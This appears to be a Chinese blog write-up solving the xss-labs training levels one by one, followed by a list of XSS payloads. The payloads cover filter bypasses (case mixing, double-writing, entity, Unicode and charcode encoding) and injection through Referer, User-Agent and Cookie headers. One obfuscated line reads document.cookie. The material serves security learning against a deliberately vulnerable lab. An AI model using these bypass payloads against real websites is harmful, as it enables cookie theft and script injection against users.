xss-labs要求以最短的payload通关,只有一个地方会跳转下一关
1.发现test在页面直接显示,
<script>alert('xss')</script>
2.构建payload闭合value并弹窗
<input name="keyword" value="test">
"><script>alert('xss')</script>
3.发现<>和"和部分被转义了,查看源码 '弹窗//
<input name=keyword value='".htmlspecialchars($str)."'>
'onclick=alert("xss")//
4.算了,直接看源码过滤了< > ,闭合 "弹窗//
<input name=keyword value="'.$str3.'">
"onclick=alert("xss")//
5.看源码 <script on 被过滤了大小写也不行,输入的东西会多出来一块,构造href
<input name=keyword value="'.$str3.'">
"><a href='javascript:alert(/xss/)'> 点击多出来的即可
6.看源码,发现href没过滤大小写
<input name=keyword value="'.$str6.'">
"><a hRef=javascript:alert(/xss/)>
7.看源码strtolower函数屏蔽大小写绕过,换成双写即可
<input name=keyword value="'.$str6.'">
"><a hrhRefef=javascrscriptipt:alert(/xss/)>
8.看源码发现script被过滤了
javascript:alert(/xss/)编码Unicode一下即可
javascript:alert(/xss/)
9.看源码,发现检测http:// 过滤script,进行实体化编码一下就可以了
javascript:alert('xsshttp://')
10.
?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')
11.看源码接收HTTP_REFERER
referer:"type="text" onclick="alert('xss')
12.看源码接收HTTP_USER_AGENT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 "type="text" onclick="alert('xss')
13.看源码接收$str11=$_COOKIE["user"];
<input name="t_cook" value="'.$str33.'" type="hidden">
Cookie: user=call+me+maybe%3F "type="text" onclick="alert('xss')
14.好像做不了exit xss
可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。
15.看源码接收src,利用第一关的包含进来
$str = $_GET["src"];
?src='level1.php?name=<img src=1 onerror=alert(1)>'
16.看源码,浏览器直接解析了
<center><img src=level16.png></center>
?keyword=<img%0asrc=1%0aonerror=alert("xss")>
17.没flash看源码接收,之后需要flash插件,用不了记个答案
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
level17.php?arg01= onfocus&arg02=javascript:alert(123)
level17.php?arg01=a&arg02=" onmouseover=alert(1) 18.
?arg01=a&arg02=" onmouseover=alert(1) level18.php?arg01= onfoucs&arg02=javascript:alert(123) 19 level19.php?arg01=version&arg02=<a href="javascript:alert(123)">click here</a> arg01=version&arg02=<a href="javascript:alert(1)">123</a> 20 onmouseover=alert(1)
第一关(随便过)
/xss/level1.php?name=<script>alert('xss')</script>
第二关(闭合标签过)
闭合标签即可
level2.php?keyword="><script>alert('xss')</script>//
第三关(特殊事件过)
发现符号被过滤了,换个不带<>的
'Onclick='alert(/xss/)
第四关(特殊事件过)
"onfocus=javascript:alert('xss') > //
"> <a href=javascript:alert('xss') > xss</a> //
第六关(大小写过)
"> <a HrEf=javascript:alert('xss') > xss</a> //
第七关(双写过)
"> <a HrHREFEf=javascscriptript:alert('xss') > xss</a> //
第八关
简略介绍传送门()
javascript:alert('xss')进行HTML编码
javascRipt:alert(/xss/)
对参数值做了小写处理
对常见的关键字做了过滤处理
将用来起闭合作用的引号做了字符实体替换。
第九关
javascRipt:alert('http://xss')
pyload:没有`号
第十关
?t_sort=click me!" type="button" Onclick="alert(/xss/)
第十一关
$str11=$_SERVER['HTTP_REFERER'];源码接受referer传参
Referer: click me!" type="button" οnclick="alert(/xss/)
bp抓包然后添加
第十二关
$str11=$_SERVER['HTTP_USER_AGENT'];源码接受这个参数
User-Agent: click me!" type="button" οnclick="alert(/xss/)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 User-Agent: click me!" type="button" onclick="alert(/xss/)
第十三关
$str11=$_COOKIE["user"];
Cookie: user=click me!" type="button" οnclick="alert(/xss/)
第十四关
我也不会
第十五关
ng-include 指令,该指令用于包含外部的 HTML 文件
引用文件名要加单引号 即 ng-include=" ‘index.html ’ " 绕过方法:利用ng-include指令的特性包含第一关的HTML文件,并以此触发弹窗
level15.php?src='http://127.0.0.1/xss/level1.php?name=<img src=x onerror=alert(/XSS/)>'
第十六关
?keyword=<img%0Dsrc=1%0DOnerrOr=alert()>
过滤了空格,将空格编码了绕过
第十七关
?arg01=a&arg02=b%20onmouseover=alert(1)用IE浏览器打开
第十八关
?arg01=a&arg02=b%20onmouseover=alert(1)
同样用IE打开
第十九关(flash-xss)
尽量看()
大佬传送门()
还行()
arg01=version&arg02=<a href="javascript:alert(1)">123</a>
我是没看懂,会了教我
第二十关(flash-xss)
arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)*//&width&height
<img src="x" onerror=alert(1)>
<img src=1 onmouseover=alert('xss')>
<a href="javascript:alert(1)">baidu</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
<script>alert('xss')</script>
<script>prompt('xss')</script>
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<iframe src="javascript:alert('xss')"><iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
<iframe src="javascript:prompt(`xss`)"></iframe>
<svg onload=alert(1)>
<input name="name" value="" onmouseover=prompt('xss') bad=“”>
<input type=“hidden” accesskey=“X” onclick=“alert(1)”>
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)) 适用于绕过黑名单alert 在跨站中,String.fromCharCode主要是使到一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为ASCII码,然后再用String.fromCharCode还原,因为大多数的过滤系统都不会把String.fromCharCode加以过滤,例如关键字alert被过滤掉,那就可以这么利用alert(document.cookie)
<img src="1" onerror=alert(1)>
<img src="1" onerror=alert(1)>(实体化()
<img src=1 onerror=alert()>
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<img src="1" onerror=location="javascript:alert(1)”>
<img src="1" onerror=location="javascript:alert%281%29”>
Comments NOTHING